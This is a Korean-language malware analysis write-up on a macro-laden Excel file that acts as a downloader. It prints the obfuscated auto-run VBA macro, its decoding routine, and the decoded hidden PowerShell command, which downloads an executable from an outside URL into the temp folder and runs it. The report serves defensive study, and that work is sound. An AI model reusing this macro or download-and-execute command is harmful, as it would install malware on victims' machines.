Search

LetterofIntent-Eckharthelicopter.xls 분석

1. 개요

1.1 분석 수행 인원

이수영

1.2 파일 정보

File Name
LetterofIntent-Eckharthelicopter.xls
Size
631.3 KB
Type
excel
Behavior
Downloader
MD5
6cb7256dde8c6cf09fc82b7f75fd18ad
SHA256
2cb072d9fcc9413a91b245513366c7bb52bfec2638f67c158520c2854e264208
ssdeep
12288:huj3HVAQHVxSCyGnOsDRGzg5Bi0nvGfqTuRJwWJsZSk9A+oMD1L0Nc:UXVAQ1xSp8IzgSgvqRJwWJsZSoywL0S
AntiVirus
41 / 61 (67%)

1.3 Time table

2. 악성코드 상세 분석

2.1 LetterofIntent-Eckharthelicopter.xls 분석

(1) Excel 파일 내에 의심스러운 스트림 찾기

oledump.py를 통해 엑셀 파일의 스트림을 분석하면 stream 8에 매크로가 포함되어 있음을 확인할 수 있다.
oledump.py -s 8 -v LetterofIntent-Eckharthelicopter.xls
Bash
복사
스트림 8을 확인해보면 위와 같이 의심스러운 VBA 스크립트가 있음을 확인할 수 있다. 해당 스크립트에는 Workbook_Open() 함수가 있는 것으로 볼 때 워크북을 열어봄과 동시에 매크로가 실행되도록 구성되어 있다.

(2) 매크로 분석

Public Sub Workbook_Open() Dim asd As String Shell hello("808A813D4C803D8D8C94828F90858289894B8295823D4A829582809291868C8B8D8C898680963D7F968D7E90903D4A743D65868181828B3D4A808C8A8A7E8B813D458B82944A8C7F878280913D70969091828A4B6B82914B74827F608986828B91464B618C948B898C7E816386898245448591918D574C4C858C818F804B8C8F844C8C914C908C8992914B829582444941828B935771828A8D484479908C899291824B829582444658456B82944A6C7F878280913D4A808C8A3D70858289894B5E8D8D8986807E91868C8B464B7085828989629582809291824541828B935771828A8D484479908C899291824B8295824446") End Sub Function hello(hlole As String) Dim holle As Integer Dim i As Integer Dim holel holle = 11111 holel = "" For i = 1 To Len(hlole) Step 2 holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 29) Next hello = holel End Function
Visual Basic
복사
매크로의 핵심 부분은 위와 같이 추출할 수 있다. 우선 엑셀 파일을 열면 Workbook_Open() 함수가 호출되면서 내부에 있는 Shell() 함수가 실행된다. 그러나 Shell 함수를 통해 실행되는 명령은 난독화가 되어있어 알 수 없다. hello() 함수를 통해 특정 문자열 난독화 해제를 진행하고 실행되는 구조를 띄고 있다. 이런 방식으로 난독화 된 문자열과 자체적인 복호화 알고리즘이 포함되어 있는 경우에는 동적으로 스크립트를 분석하면 쉽게 해제할 수 있다.
Function hello(hlole) Dim holle Dim i Dim holel holle = 11111 holel = "" For i = 1 To Len(hlole) Step 2 holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 29) Next hello = holel End Function Set stdout = CreateObject("Scripting.FileSystemObject").GetStandardStream(1) Dim asd stdout.WriteLine hello("808A813D4C803D8D8C94828F90858289894B8295823D4A829582809291868C8B8D8C898680963D7F968D7E90903D4A743D65868181828B3D4A808C8A8A7E8B813D458B82944A8C7F878280913D70969091828A4B6B82914B74827F608986828B91464B618C948B898C7E816386898245448591918D574C4C858C818F804B8C8F844C8C914C908C8992914B829582444941828B935771828A8D484479908C899291824B829582444658456B82944A6C7F878280913D4A808C8A3D70858289894B5E8D8D8986807E91868C8B464B7085828989629582809291824541828B935771828A8D484479908C899291824B8295824446")
Visual Basic
복사
Windows 운영체제에서는 기본적으로 VBScript를 지원하고 있다( MS사에서 2023/10월 부로 윈도우에서 VBScript 제거 예성 선언). 따라서 cmd에서 hello()함수를 실행한 직후 나오는 명령어를 출력시켜보면 쉽게 알 수 있다. cmd에서 명령을 실행하기 위해서 스크립트를 수정하면 위와 같이 수정해야 한다.
cscript.exe s8.vbs Microsoft (R) Windows Script Host 버전 5.812 Copyright (C) Microsoft Corporation. All rights reserved. cmd /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://hodrc.org/ot/solut.exe',$env:Temp+'\solute.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\solute.exe')
Shell
복사
cmd에서 cscript.exe를 이용해서 VBScript 코드를 실행하면 위와 같이 실제 Shell() 함수가 실행하려는 명령어를 볼 수 있다. 명령어는 powershell을 이용해서 http[:]hodrc[.]org/ot/solut.exe를 %TEMP% 경로에 solute.exe로 저장하고 실행하도록 구성되있다.

2.2 solute.exe 분석

현재 악성코드 샘플이 없음. 샘플을 찾는 대로 분석 진행 예정(미정)